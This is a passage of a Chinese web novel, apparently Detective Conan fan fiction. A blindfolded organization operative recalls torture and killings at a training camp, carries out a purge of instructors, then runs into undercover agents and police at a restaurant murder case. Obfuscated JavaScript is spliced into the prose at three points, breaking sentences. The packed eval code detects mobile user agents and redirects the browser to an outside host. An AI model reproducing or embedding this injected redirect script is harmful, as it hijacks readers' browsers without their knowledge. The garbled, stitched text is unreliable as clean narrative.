1007号没有丝毫停顿。他甚至没有去看自己造成的可怕伤口。他的身体像一张拉满的弓,所有的力量都集中起来,直接折断了自己的腕骨,利用瞬间脱臼带来的、微不足道的一丝空隙将左手从皮革束缚中猛地抽了出来! 然后,那片之前被石井随手扔在工具台上、用来给受训者施加心理压力的薄金属片——一片甚至不算锋利的手术刀废料——已经出现在了1007号那只刚刚折断、以诡异角度弯曲的左手中! “噗——” 血光迸现! 这一刀因为石井的后退和格挡,虽然没能完全切断颈动脉,但仍深深地划开了他脖子一侧的肌肉和血管,滚烫的鲜血如同破裂的水管般喷涌而出! 石井捂着脖子,发出嗬嗬的漏气声,踉跄后退,重重撞在墙上。 “够了!”杉本猛地上前控制住1007。 他必须阻止他!考核已经彻底失控了! 他从后面一把抱住1007号,试图将他重新锁回拘束椅。这是他犯下的第一个,也是最后一个错误。 他低估了肾上腺素的威力,更低估了一个在绝境中爆发所有求生和杀戮本能的人形兵器的可怕。 1007号甚至没有回头。他只是凭借声音和气流,右手手肘如同出膛的炮弹般猛地向后撞击。 咚的一声闷响,精准地砸在杉本的肋骨下缘,剧痛让他瞬间脱力。 与此同时,1007号的头猛地向后仰起,后脑勺如同铁锤般砸向杉本的面门。 杉本险之又险地偏头避开,鼻梁却仿佛已经感受到了那可怕的冲击力。 而1007号握着金属片的左手,已经以一个人类关节几乎不可能做到的、反关节的诡异角度,再次向后刺来,目标直指杉本的颈侧。 冰冷的死亡触感瞬间攫住了杉本的心脏,他完全是凭借千锤百炼的肌肉记忆和求生本能,在最后关头猛地向后一仰! 嗤啦! 锋利的金属片边缘擦着他的颈部皮肤掠过,留下了一道火辣辣的、深可见骨的划痕,鲜血立刻涌了出来,染红了他的衣领。 只差毫厘,他的下场就会和石井一样! * 后面的事情他记不太清,只模模糊糊记得倒下的自己,感知到异常冲进审讯室的其他教官,被暴怒的教官们重新绑回拘束椅的1007…… “废物!” “我倒要看看这小崽子的骨头到底有多硬!” “……” 等他重新清醒,他已经躺在医务室的床上,脖子上缠了厚厚一层绷带。 江口恰好来看看他死透没,见他清醒了还嘲讽了他好几句。 “1007呢?” “还惦记那小子啊。”江口的表情不是很好,“你失血昏迷后,那群施虐狂重新把他绑回椅子上继续审了。” “什么——咳,咳,咳咳!” “哪止啊,据我所知,审的时间至少超过了这个数。”江口比划了一个数字六,“最后那小子竟然还是清醒的。” “最后那群疯子们没招,折断了那小孩的四肢,直接扔进了野外生存训练。” 野外生存训练,为期一个月。 杉本如坠冰窟。 “我记得你也是他的受害者?让他自生自灭吧。”上面的人这么说。 于是杉本没再说什么。他甚至有些刻意地不去打听。直到一个月后,生存训练结束,他鬼使神差地去了回收点。 在一片泥泞和血腥味中,他看到了那个孩子。更瘦了,几乎脱了形,浑身布满伤痕和污垢,断骨处明显长得有些歪斜…… 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话是这么说,但他自己也调整了教学方案。在发现1007本身极佳的柔韧性后,他不再试图用常规方法“审讯”1007号,而是转而教导他如何利用自身的优势,通过暂时折断自身的关节骨头以脱离束缚。某种程度上,1007号成了他最好的“教具”,逼他突破了自己专业的瓶颈。 江口有一次拿着靶纸找到杉本,一脸复杂地给他看。 “八点四环啊……这个成绩不太好吧?” “25米移动靶,那小瞎子打的。” “噗——谁?!” 他偶尔也会做一些微不足道、甚至可能多余的事。 比如,在1007号因为训练受伤发烧时,“恰好”路过医疗室,留下退烧药;比如,在第二天要进行极端环境抗寒训练前,他会“无意中”在1007号附近自言自语一句:“啧,明天冰库的发电机好像要检修……”声音不大,但足够让那双敏锐的耳朵捕捉到。 他不知道这孩子能不能理解,或者愿不愿意接受这点可怜的“关照”。他们之间没有任何交流。一个懒得教,一个没法说。 直到毕业日。 那天的血腥味浓得化不开。他是反审讯教官,不是处刑人,但他知道规矩。毕业生要亲手处理掉自己的教官,斩断与过去的一切联系,成为组织纯粹的武器。 他和江口还有其他几个人,被带到一间空旷的仓库里,等待着自己的“学生”。 他听到了隔壁江口短暂的惨叫,然后是枪响。然后是另一个房间的动静……声音一个个消失。 最后,轮到他所在的房间门被推开。 1007号站在那里。他长高了不少,但依旧瘦削,黑色的缎带遮住了那双雾蓝色的眼睛,脸上没有任何表情。他手里握着一把匕首,刃上还在滴着不知是谁的血。 他一步步走过来,脚步很轻,却像踩在杉本的心脏上。 杉本闭上了眼睛。他没什么遗憾,也没什么不甘。这本来就是注定的结局。 预想中的刺痛没有到来。他感到冰凉的刀刃擦过他的脖颈,挑断了他身后束缚双手的塑料扎带。 他惊讶地睁开眼。 1007号——或者说,夏特勒兹——已经收起了匕首。他微微偏头,似乎在“看”着他,又似乎在“看”别处。然后,他转过身,毫无防备地将后背留给他,一步一步,走出了仓库,消失在昏暗的走廊尽头。 他放过了他。 没有语言,没有解释。就像当年那些无声的“提醒”一样,这次换来了一个无声的“赦免”。 其他的教官或多或少都被他割掉舌头、弄得半身不遂终生残废,只有他和江口较为完整地活了下来。 但他们知道如此的特殊对待有朝一日会被挑出来针对,于是他和江口两人互相把自己的手指砍掉了两根,力保他们的学生不会因此丢掉性命。 他们彼此心照不宣,对此绝口不提,然后像水滴融入大海一样,消失在组织庞大的底层结构中,小心翼翼地活着。 直到去年,夏特勒兹——当年的1007号——带着一个背着贝斯包的年轻人找上了他。 “我想麻烦您测一下他。” “对了……还有一件事。如果他来找你问情报的话,直接告诉他就好了——不用顾忌其他。” 于是不久后,那个叫绿川的年轻人,带着温和的笑容,旁敲侧击地向他打听训练营的往事。 他一眼就看出了那年轻人那双熟悉至极的上挑瑞凤眼,以及他眼底深处不属于这里的明亮。但他什么都没说,甚至含糊地透露了一点无伤大雅的信息。他不知道为什么会下意识遵循夏特勒兹的话,或许只是……又一次心血来潮的“多管闲事”。 * 走廊外,传来了极其轻微的、几乎不存在的脚步声——这不是基地里任何人习惯的步调。 杉本抬起头,办公室的门被无声地推开。 夏特勒兹站在那里。依旧是一身黑衣,黑缎遮目,像一道来自过去的幽影。他手里没有拿枪,也没有拿匕首。 杉本看着他那张没什么表情的脸,忽然笑了笑,笑容里有些疲惫,有些释然,甚至有一丝极淡的、难以察觉的调侃。 “来了?”他开口,声音有些沙哑,“比我想的要晚一点。” 夏特勒兹没有回应,只是走了进来,关上门。 “别这么……”杉本斟酌了一下用词,目光扫过对方一丝不苟的衣着和冷峻的下颌线,最终叹了口气,语气变得异常平和,甚至带着一点长辈般的宽和,“……别这么难过啊,小子。” 他顿了顿,像是看穿了眼前这人冰冷面具下所有未曾言明的挣扎和不得已,轻声说出了最后一句话: “我本来就是要死的啊。” 57.好累 水无怜奈通过了考核,获得了代号“基尔”。 岩上一郎对此又忧又愁。BOSS的赏识在外人看来是平步青云的捷径,但在他这位老牌卧底眼中,这无异于在黑夜里点燃蜡烛,“悄然退场”也变得天方夜谭。 他需要和夏特勒兹谈一谈——但他找不到人。夏特勒兹像是彻底与那场由BOSS直接下令的、雷厉风行的清理行动融为一体,神龙见首不见尾。 “喂,听说林田那个老大哥的朋友……”两个底层人员低声交谈着从岩上身边经过。 “嗯,那个时候我也在场,夏特勒兹真的就直接闯进来把人敲晕拖走了……” “后来呢?” “哪里还有后来,后勤组过来处理尸体了呗。” “欸……所以他到底犯了什么事儿啊?” “谁知道……说起来还要感谢是直接带走而不是没有当场处决,吓死我了……” 声音渐远。岩上的脚步没有丝毫停顿,连呼吸频率都控制得完美无缺。 林田的老大的朋友……应该是平松。 又一个名字,夏特勒兹清理名单上的一环。 他心中那根弦绷得更紧了,清洗的范围和决心远超他最初的预料。 夏特勒兹是动真格的,以一种近乎残酷的效率在抹杀一切与训练营秘密相关的潜在风险。 那么,作为“风险”源头之一的女儿,以及身为父亲的自己,在这位清理者的眼中,究竟处于什么位置? 这个念头像毒蛇一样缠绕着他的心脏。 他需要一个答案。但现在,他连提问的对象都找不到。 ———————— 与此同时,在基地的射击训练场,苏格兰放下手中的狙击步枪。他刚刚完成一轮射击练习,手里还残留着扣动扳机、击中目标的触感。他看着靶纸上反馈的成绩——比以往又精进了些许,但他的心思显然不在这上面。 几天之内,组织内部悄无声息地消失了三四个名字。都是些中低层人员,而他们消失的理由各不相同:任务失败、意外、甚至是可笑的煤气泄漏。 他知道这是一场关于训练营的清洗,而夏特勒兹则是这场清洗的执行者。 他的效率高得可怕,目标明晰,动作干净利落,没有留下任何可供指摘的余地——朗姆那边甚至挑不出毛病,只能保持着一种沉默的、警惕的观望。 然后,是杉本的死讯。 他本该知道的,杉本是夏特勒兹在训练营时期的教官,这场清洗行动下,杉本绝对是夏特勒兹的枪下亡魂之一。 可他脑海里重新浮现出那位两鬓华发的老人。他想起老人那看似随性但滴水不漏的言辞,想起那双仿佛看透一切却又缄默不言的眼睛,想起谈及夏特勒兹……不,1007时对方隐隐透露出的复杂情绪。 ……他又想起夏特勒兹第一次带他去见对方时,双方平和的交谈和调侃。 而如今,夏特勒兹——那个总是蒙着黑缎、用电子音说话、待人随和却又能高效率执行任务的年轻高层,正以一种绝对的冷酷和精准,执行着来自最顶层的灭绝命令。 最终没有逃掉“毕业就要杀死教官”这个无形共识的蒙眼青年,心里到底在想些什么呢? 苏格兰感到一丝寒意。并非全然恐惧,而是一种极其复杂的、混合了高度警觉、对其效率的敬佩、以及某种……难以言喻的探究欲。那个关于夏特勒兹真实身份的荒谬猜想,在此刻变得更加沉重而迫切。 他收起枪,准备离开。没走几步,就看见岩上正从走廊另一头走来,手里抱着一沓文件,脸上是惯有的沉静以及疲惫。 “岩上先生。”苏格兰微微点头致意,语气温和。 “苏格兰大人。”岩上停下脚步,收回有些飘忽的心绪。“还在忙?” “最近几天没有任务,过来练练,防止手感没掉。”苏格兰状似随意地接话,“倒是夏特勒兹大人,已经有一段时间没有见到他了。” “毕竟是上面的命令,大人定然会全力以赴。” 两人心照不宣地同时沉默了片刻。 苏格兰最终笑了笑,打破沉默,笑容一如既往的温和无害:“也是,希望大人一切顺利。” 希望一切顺利?他也不知道自己究竟希望什么。 是希望夏特勒兹顺利完成任务,巩固权力,从而成为一个更可怕的敌人?还是希望他在这场清洗中露出破绽,甚至……? 这个念头太过危险,苏格兰迅速将其掐灭。 * “渡边先生!!!” 被门铃声砸醒的诸伏清浅猛地打了个激灵,差点从沙发上摔下去。 他的意识是从那片粘稠的血海中慢慢窒息死亡脱离出来的。 首先恢复的是听觉。但那并不是现实的声音,而是记忆中无数尖叫、哀嚎、求饶和骨骼碎裂声混合而成的、持续不断的刺耳鸣响,像一根烧红的钢针扎进太阳穴,持续搅动,让他不住地犯恶心; 然后是无孔不入的幻觉性气味。浓烈的血腥味、化学试剂的酸臭味、□□烧焦的糊味…这些根本不存在的气味,霸道地占据了他的嗅觉神经,引发一阵生理性的反胃。 ……他终究还是在下意识的蜷缩中摔下沙发,肩膀重重砸在地板上,疼痛让他混沌的意识撕裂开一道短暂的口子。 我在哪里? 视野早已习惯的无边黑暗中,他一动不动地思考着。 审讯室?没有金属的味道;训练营?没有冰冷的消毒水气息;组织基地?没有那种令人寒芒在背的监控感。 他手指蜷曲一下,抓握到了柔软的地毯。 啊……是这里。 是“浅井尘”的家。 他是怎么回来的?什么时候回来的?完全不记得。记忆的最后片段,似乎是坐在车里,被出租车司机又狠狠敲诈了一笔…… 然后,是一片空白。 他被持续高强度运转后骤然松懈的生理极限给强行宕机了。 叮咚叮咚…… 急促的门铃声像一把剪刀,一下子剪断了他脑海中混乱的感官丝线。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他是知道渡边……浅井君的情况的,说实话当初被派来负责时,也被浅井君的残疾身份吓了一跳。 ——但残疾人的身份并不妨碍他在文学界冉冉升起。 竹内叹了口气,语气变得异常温和,甚至带着点小心翼翼的恳求: “渡边君,《黄昏后的黎明》第五部……你要是想写得…呃…更‘深刻’一点,也没关系。读者们…反正也被刀习惯了。” 他艰难地组织着语言,“但是…请你务必、务必先照顾好身体。稿子真的不急,我可以去跟总部周旋……你好好休息,出去散散心,或者听听音乐…怎么样?” 他看着清浅毫无反应、仿佛根本没听进去的样子,心里焦急却又无计可施。最后只能忧心忡忡地补充道:“你快回去躺着吧,需要什么给我打电话。” 门缓缓关上。 清浅背靠着冰冷的门板,缓缓滑坐在地。 竹内编辑的话像隔着一层厚厚的玻璃,模糊不清。但他那句“出去散散心”却意外地刺破了那层隔膜。 散心?消化情绪? 他该如何去消化? 那根本不是情绪。它们是构成他此刻存在的、属于夏特勒兹的冰冷和坚硬。 而且—— 无需恐慌。他深吸一口气。 ……按既定流程处理即可。痛苦是效率的副产品,是可接受的损耗。 58.一起吃饭去啊 诸伏清浅处理自己情绪的能力一直都很不错,将记忆与情绪剥离,记忆归档存储,情绪则狠绝地打包好扔进角落里遗忘掉。 伤口完成清创后或许仍会阵痛,但完全可以忽略不计。 将这段时间因为任务而拖欠的稿子交给竹内编辑,他在竹内编辑“真的没问题吗”和“要好好休息”的连番轰炸下还是决定尝试一下他的建议——“出门走一走”,和这个正常的世界重新连接。 出去走走的话……随便逛吗? 他恍惚了一瞬,一时间还没有将自己和“逛”这个字眼联系上。 啊……是了,夏特勒兹已经下班了。 随便乱晃的应该是“渡边影”这个身份,但刚刚交完稿的他身心俱疲,实在不想再接触任何写作有关的东西。 那么…… 他手指划过角落的吉他包肩带,轻轻一勾。 就当做是音乐人浅井尘的寻找灵感之旅吧。 * 早晨的阳光如同融化的金色蜂蜜,慵懒地泼洒在公园的绿地上。 诸伏清浅随手将吉他包放在脚边,随机霸占一条长椅坐下。 然而,阳光抚过皮肤的暖意、远处孩童的嬉笑声、甚至鼻腔里青草与泥土的气息,都仿佛隔着一层无形的薄膜,传递到他那高度敏锐的感官时,已带上了几分失真的模糊感。 他就像一个刚刚从深水区挣扎上岸的人,一呼一吸之间仍带着水汽的潮湿。 呼……放松点清浅,你已经下班了。 他有意识地控制着自己的呼吸,尝试在这片公共区域里放松绷紧的身体。 然后,鸽子来了。 第一只落在椅背上,歪着头打量这座在长椅上沉默的“雕像”。 诸伏清浅暗道要遭,但是已经迟了。 接着是第二只、第三只…它们似乎将他视为公园里一件新增的、完美的栖息设施。温热的、毛茸茸的小身体接二连三地降落,咕咕的叫声越来越密集。 诸伏清浅的身体僵住不动,一种深沉的无奈感笼罩了他。 他能清晰地感知到每一只鸽子的重量、体温和爪尖细微的触感,但这过于“和平”的物理接触,却让他警惕的神经一时陷入了某种进退两难状态。 不驱赶?小家伙们在他身上的动作让他下意识应激; 驱赶走?它们并没有恶意。 于是他只能一动不动,默默承受这份沉重而温暖的“围攻”。 就在这时,一阵极不和谐、却对他而言无比熟悉的争吵声被他灵敏的听力捕捉。 “所以说,你那套冒险的行动方案根本不可取,一但暴露我们的任务就会直接失败!” “风险评估不同而已……结果证明,我的方法效率更高。” “哈?!效率?那是侥幸吧!” “总比某些人因为过度谨慎而错失时机要好。” “好了,你们两个。”一道温和但不容置疑的声音插入,熟练地隔开两人间无形的刀光剑影。 “复盘还是留到任务报告里吧。” 这争吵声,尤其是“任务”、“方案”、“风险”、“暴露”这些关键词,像无形的针,轻轻刺了一下清浅刚刚强制平静下来的神经末梢。 他的身体条件反射地绷紧了一瞬,但很快就被他用强大的意志力强行压制下去,恢复了表面的松弛。 苏格兰的目光习惯性地进行环境扫描。然后,他的视线猛地定格在不远处公园的那张长椅——以及长椅上那座被鸽子彻底覆盖、只隐约露出黑色发丝和衣角的“活体雕塑”上。 那身影……即使在如此荒谬的伪装下,也太过熟悉,尤其是在刚刚经历了那段令人心悸的、由对方执行的内部清洗后。 在这个时间点,这个地点,以这种方式出现,真的显得无比突兀和……诡异。 “……夏特勒兹?”苏格兰下意识地喃喃出声,声音里的惊讶难以完全掩饰。 争吵声戛然而止。 波本和莱伊的目光顿时顺着苏格兰的视线望去,同样注意到那座“鸽子山”上。 诸伏清浅:[不嘻嘻.jpg] 清浅内心叹了口气,顶着两只鸽子的脑袋微微偏移,和威士忌三人组对上“视线”。 四人陷入诡异的沉默。 在一片咕咕声中,苏格兰听见电子音平静地响起: “[……绿川。]” “[救一下。]” “……” 苏格兰的肩膀似乎抖了一下,连忙压住即将冲出喉咙的笑声,将其变成一声像是被呛到的咳嗽。 波本的脸上闪过一丝极其古怪的表情,莱伊那双墨绿色的眸子则是微微眯起,眼里闪过意外的神色。 夏特勒兹……意外地受动物欢迎啊。 苏格兰轻轻挥手,温和地驱赶着鸽子。鸽群发出不满的咕咕声,抱怨着飞散开,甚至有两只格外恋恋不舍,试图绕过胡茬青年的驱赶继续着陆在“雕像”上。 捣鼓片刻,苏格兰终于将他的上司解救出来。 “您…没事吧?”他忍着笑意问道。 “[……嗯。]”坐得笔直的清浅简短回应,伸手拍掉身上的羽毛。 气氛一时间有些尴尬。波本双手插兜,眼神有那么一瞬和幼驯染对上,诸伏景光心领神会。 这是一个千载难逢的机会。组织里闹得轰轰烈烈的清洗行动快速而狠绝,好像在他们反应过来之前就结束了——他们甚至都捕捉不到一条详细的情报信息。 整场行动下来他们的感受就是:吓到,茫然,回神警惕,但一头雾水。 夏特勒兹作为行动主导者,忙得不知人影这么久,如今行动结束碰到,他的状态、无意中流露的任何信息都极具价值。 “夏特勒兹大人,您用过午餐了吗?如果不介意的话,要不要和我们一起?” 于是苏格兰的脸上露出惯常的、温和无害的笑容,自然而然地开口,“我知道附近有家不错的店。” “[欸……不怕我宰你一顿吗。]”夏特勒兹缓了好几秒才慢慢打字回答。 他慢慢站起身,无比自然地将吉他包背在身上,手揣在衣兜里迈开步子,率先走在前面。 “[不过既然你邀请了……那就走吧。]” * 起初,清浅只是沉默地走着。他的身形看似毫无异常,但周身仍弥漫着一种若有若无的与周遭格格不入的隔离感。那场清洗留下的阵痛仍在骨头里低鸣,并未完全散去。 然而,威士忌组特有的“氛围”很快开始无形渗透进来。 波本虽然憋着气,但还是忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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威士忌们交换了一个短暂而迅速的眼神,里面没有任何普通食客该有的惊慌,只有一种冰冷的、职业性的评估和警惕。 撤退?还是静观其变? 店门口被闻讯赶来的店员和好奇的食客堵住,经理正在声嘶力竭地维持秩序并报警。 场面一时骚乱,这是绝佳的撤离时机。 得走。诸伏清浅顿时意识到什么,率先抄起吉他包准备起身。 ——如果真的是命案,那么来的警察大概率是他认识的警官。 “……那个!”经理的声音传入众多食客的耳中,“警官先生说了——” “在警察到来之前,所有人都不能离开。” “啧。”波本不耐烦地咂了下嘴,低声道,“麻烦。” 莱伊已经重新低下头,仿佛事不关己,但全身的肌肉处于一种微妙的预备状态。 苏格兰皱起眉,看了眼烤盘上的肉片,最终决定还是先将烤盘关火。 很快,警笛声由远及近。脚步声传来,三个高大的身影拨开人群,亮出警察手册。 “警察!请让一让!现场在哪里?” 听到这个洪亮而熟悉的声音时,诸伏景光和降谷零的血液几乎瞬间冻结。 ……完了,更糟糕的情况出现了。 系统面板兢兢业业地显示着来者的定位移动和身份标注。 伊达航,萩原研二以及松田阵平。 59.修罗场? 嘛,毕竟是同期,空闲时抽出时间聚一聚也是正常的吧? ……但在打算聚一聚的时候接到报案就不太正常了。 算了,毕竟是米花町。 降谷零在听到声音后紫灰色的瞳孔骤然收缩,几乎是本能地,他周身的气息瞬间变得极其冰冷危险,像一只被入侵了领地的猎豹,下意识地就要进入战斗或防御姿态。 诸伏景光则迅速垂下了眼睑,强迫自己将注意力集中在眼前的烤盘上,但握着茶杯的手指指节已经微微发白。 他们的异常反应极其短暂隐蔽,但逃不过另外一个人的眼睛。 莱伊的眉梢几不可察地动了一下。他清晰地感受到了波本瞬间迸发又快速收敛的敌意,以及苏格兰骤然的内敛和紧绷。 这两个家伙,对警察的反应是不是太大了点? ……还有,夏特勒兹。 蒙眼青年在命案发生那一刻立刻想走的打算毫不遮掩,但在警察到来时,他已经从容不迫地坐回原位,并要求苏格兰给他再倒一杯果汁了。 清浅:哈哈,其实是因为他已经没招了。[目光呆滞.jpg] * 萩原研二眼尖,快速的扫视下很快就发现了那个蒙眼的熟悉身影。他下意识扬起一抹灿烂的笑容,但目光在触及青年身旁的人时动作忍不住僵硬一瞬。 卧槽,见鬼。 他下意识捅了捅一旁的松田阵平,在对方不耐烦地投来视线、顿住、惊得下拉墨镜微微露出凫青色的眼眸的一系列动作后猛地一拍他的肩膀,率先走近和对方打了个招呼。 “哇哦,小浅井!”萩原的目光自然地扫过清浅身边的三人,尤其在降谷零和诸伏景光脸上多停留了零点几秒。 “真巧啊,你这是……和朋友组团来了?”他的问题听起来像是随口一问。 我靠,怎么个事。 本来见到同期就很倒霉了,尤其是刚刚双方对上视线的那一刻,降谷零和诸伏景光的心脏仿佛都停跳了一瞬。见到萩原前来准备打招呼的时候他们都卯足劲想好要怎么应对,结果人家丝滑转移视线—— 和夏特勒兹打了个招呼。 啊?这对吗? 还“小浅井”,他们知道这是萩原对待熟人的口癖——你们的关系这么好吗! 降谷零、诸伏景光(无声尖叫版):萩原你干了什么! 此时此刻,两位卧底搜查官有那么一刻后悔因为卧底任务而减少了对同期的关注。 要躲吗……算了,躲个屁啊他还能躲吗。 “[……中午好,萩原警官。]” 同样内心崩溃的不止两位公安卧底,保持着平静疯感的诸伏清浅镇定地抬手打招呼。 这个时候,心思各异的众人察觉到众多食客已经开始在警察的指引下有序离开餐厅——嫌疑人已经确定范围,其余无关人员已经可以离开。 察觉到的萩原研二挑了挑眉:“哇哦,班长和小阵平的效率不错嘛。” “那么警官先生,我们可以离开了吗?”安室透笑语嫣然,露出一个波本的温和笑容。 嘶——看到昔日的警校首席露出这样一个笑来,果然感觉很不对劲啊。 带着墨镜的卷毛警官双手插兜靠近,看着金发青年脸上温和的笑容,浑身都起了一阵鸡皮疙瘩。 哇金发大老师,你这个样子很恶心欸。 虽然墨镜阻挡了视线中的含义,但降谷零莫名有种直觉,松田这家伙刚刚绝对在骂他。 “很遗憾的是,你们现在还走不了。”松田的视线从金发青年身上移向蒙眼青年。 根据和班长、萩一起的推测,金发大老师以及景老爷的销声匿迹应该是去做危险的任务……比如卧底之类的。 所以浅井这家伙是被无辜卷入了吗?墨镜后的视线又滑向那个散发着危险气质的黑色长发男。 好吧,直觉告诉他这个男人确实不简单……但也不能把浅井拉下水吧! 于是卷毛警官满不在乎的语气中藏着对现状的思索,锐利的视线隔着墨镜射向莱伊:“你们现在算是嫌疑人。” 似乎是为了印证卷毛警官的话,不远处原本在接受问询的中年男子突然指着清浅这一桌——尤其是莱伊。 他声音发颤对伊达航道:“警、警察先生,就是他!坂上和他们这桌起过冲突……就在大概半小时前!坂上不小心撞到了那个长头发、看起来很凶的男人……态度不太好,他们还互相瞪了一眼,气氛很可怕!而且…而且他们都背着这么大的包,谁知道里面是什么……” 众人的目光聚焦在威士忌组和清浅身上——尤其是他们脚边那几个硕大的乐器包,在命案背景下显得格外可疑;而苏格兰、波本的视线则投向坐在椅子上八风不动的莱伊,就连夏特勒兹都微微侧头。 伊达航的目光瞬间变得极其锐利,如同实质般扫过那几个包。作为经验丰富的刑警,他深知这种乐器包足以藏匿凶器甚至更糟的东西。 但是—— “川岛先生,坂上先生的死亡原因是氰/化/物中毒,我不认为那几位和死者素不相识的先生会随身带着这种毒物。” 诸伏景光收回观察的视线。 班长话语中提供的信息已经足够。死者死于氰/化/物,那么和他们就没有太大的关系—— 他看见身旁、夏特勒兹放在桌子下的手指微微蜷缩。 诸伏景光:……诶? “……不过几位,”伊达航拐了个弯,声音沉了下来,带着不容置疑的压力。“以防万一,我们还是需要检查一下你们的随身物品——包括这些包。请配合。” 诸伏景光:……诶???! 现在该怎么解释? 波本看了眼苏格兰(他甚至不想理会招来麻烦的莱伊),他们先前刚结束一个任务,现在两位狙击手的包里有的可不只是吉他贝斯。 他一时间也没想到什么比较好的理由拒绝伊达警官的搜查。 就在这千钧一发之际,一阵清晰而悦耳的吉他拨弦声突然响起,打破了几乎凝固的空气。 是夏特勒兹。 他不知道何时已经打开了自己脚边的吉他包,取出了里面那把保养得极好的Santa Cruz OM吉他,姿态娴熟地抱在怀里。刚才那声温暖清晰的弦音,正是他随手拨动的。 所有人的目光都不由自主被他吸引。 蒙眼青年的手指灵活地在琴颈上按下一个和弦,另一只手流畅地扫过琴弦。 一段轻快而略带弗拉门戈风格的旋律立刻从他指尖流淌出来。节奏明快,技巧娴熟,掌根敲击琴箱的节奏与快速的轮扫、滑音、泛音、揉弦等结合在一起,带着明显的即兴色彩却又悦耳动听。 琴弦震颤,一段即兴结束,蒙眼青年的手指虚按在琴弦上。 “[抱歉,稍微打断一下。]”他拿起手机慢慢打字,“[刚才的冲突只是一点小意外,我的乐队朋友性格比较内向,不爱说话,可能让人产生了误解。]” “[如您所见,我们真的是个乐队。]” 电子音平稳,但似乎带着一丝洒脱气息,“[这些包里装的,不过是我们吃饭的家伙。今天约好了出来碰个头,待会还要去录音室试音。没想到遇到这种事……]” “[如果警方坚持要检查,我们当然配合。只是希望动作能快一些,别耽误了预约的时间。]” 夏特勒兹以退为进,表现得无比坦然——浅井尘“自由音乐人”的身份无比真实可信,专业的乐手拥有昂贵的、需要小心存放的乐器,用这种硬壳包是常识。 “是那家在南青山三丁目的“回响”录音室吗?”萩原研二出声,他记得浅井尘之前有提到过。 “[……啊,是的。]” 伊达航问:“那一家录音室有什么问题吗?” “没什么问题,”萩原回答,“就是特别贵,而且很难预约。” 松田补充:“毕竟是业内顶级——录一首歌花的钱能顶我们一个月的工资。” ……好贵。 “原来如此。” 他与两位消失已久的同期短暂对视一眼。他能看出降谷和诸伏看向自己的陌生目光,想必现在不是叙旧的好时机。于是他点点头,决定绕过这个烧钱的话题。 “检查流程还是需要走,但既然都是乐器,我们就简单看一下外观即可,不会耽误你们太久。” 他示意旁边的一个警员去大致看一下包的外部,没有打开,完全就是走个过场。 * 作为警校的优秀毕业生,伊达航和萩原松田的能力不用多说。搞清楚嫌疑人与死者的人际关系、利益冲突以及作案手法后,真相大白——死者的商业竞争对手川岛,趁其不备在酱料碟边沿动了手脚。 “小浅井,那我们先走啦!下次再约!”案件解决,警方人员逐渐撤离。萩原研二笑容灿烂地挥手,仿佛只是结束了一场再普通不过的偶遇。 松田阵平单手插兜,墨镜下的视线在三位“乐队成员”身上扫过。长发男明晃晃的打量,景老爷“拒绝交流”的微笑,以及…… 降谷零能够轻易地读取到对方眼神里“回头再找你算账”的意味。 他的视线最后落在浅井尘身上。 “……走了,不许熬夜。”他揉了揉浅井尘细软的头发,没有注意到蒙眼青年有些僵硬的身子、同期还有长发男眼底的惊讶与震撼。 诸伏景光和降谷零人设摆在那儿,没有办法阻止同期和犯罪集团高层人员的“亲昵”互动,只能维持着苏格兰的平静和波本的疏离,微微颔首示意,目送警官们离开。 警笛声逐渐远去,周围紧绷的空气似乎才真正流动起来。 波本脸上完美的笑容瞬间收敛,紫灰色的眼眸锐利地看向始终平静的蒙眼青年,率先发难。 “刚才真是‘精彩’的表演。”他的语气带着组织成员特有的审慎与冰冷,“现在,您或许需要给我们一个解释?”他指的是萩原、松田与夏特勒兹的熟稔。 “[哈啊啊……你想听什么解释?我和条子的关系?]”蒙眼青年抓了抓头发,然后慢条斯理地将发丝理顺。 “[一些获取情报的必要角色扮演罢了。]” 可恶……萩原和松田已经被卷进来了吗。 “[反正估计现在你们也没有胃口继续吃饭了……走吧。]” 苏格兰回神:“去哪?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435076|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “[还能去哪?]”蒙眼青年将昂贵的吉他重新放回包里,指尖在手机屏幕上快速敲击。“[录音室啊。]” “[做戏做全套。]” 苏格兰微微一愣:“现在过去?那里……”他想起萩原和松田的话,“费用似乎很高?” “很难预约的顶级录音室……这笔开销,组织报销吗?”莱伊的关注点是不是有点歪。 “[那倒不是。]” “[那里本来就是我的产业。]” 空气寂静了一瞬。 莱伊都几不可察地挑了一下眉梢,波本和苏格兰的表情管理差点失控——一家顶级的、烧钱的录音室,是夏特勒兹的私人产业? 这就是代号成员的财力吗……也是,就连琴酒的座驾都是停产了的保时捷牌子。 * “回响”录音室,并非想象中金碧辉煌的模样,反而处处透着极简的专业感和烧钱的气息。 作为老板,夏特勒兹非常轻松地征用到最近一段时间的录音室使用权,带着三位“乐队成员”进了房间。 最高规格的隔音材料低调地嵌入墙壁和天花板;控制台庞大而复杂,各种按钮、推子和指示灯令人眼花缭乱。 电子设备特有的味道和用来除湿的雪松木屑的气息混合在空中,室内摆放着多种昂贵乐器,保养得极好,显然并非装饰品。 “哇哦,”波本环视四周,语气听不出是赞叹还是讽刺,“真是……大手笔。” 莱伊打量一番:“你想要怎么录?先说好,我们可没有谱子。” “[随便录一些就好了……你们有什么擅长的乐器?]” “贝斯。”苏格兰即答。 波本“嘁”了一声:“……吉他,苏格兰教过我一点。” 然后三人将目光转向长发绿眸的狙击手。 “……手风琴。” 莱伊还会这个?诸伏清浅有些意外:“[那就足够了,反正剩下的我能搞定……绿川,随便给个旋律给我。]” 即兴创作? 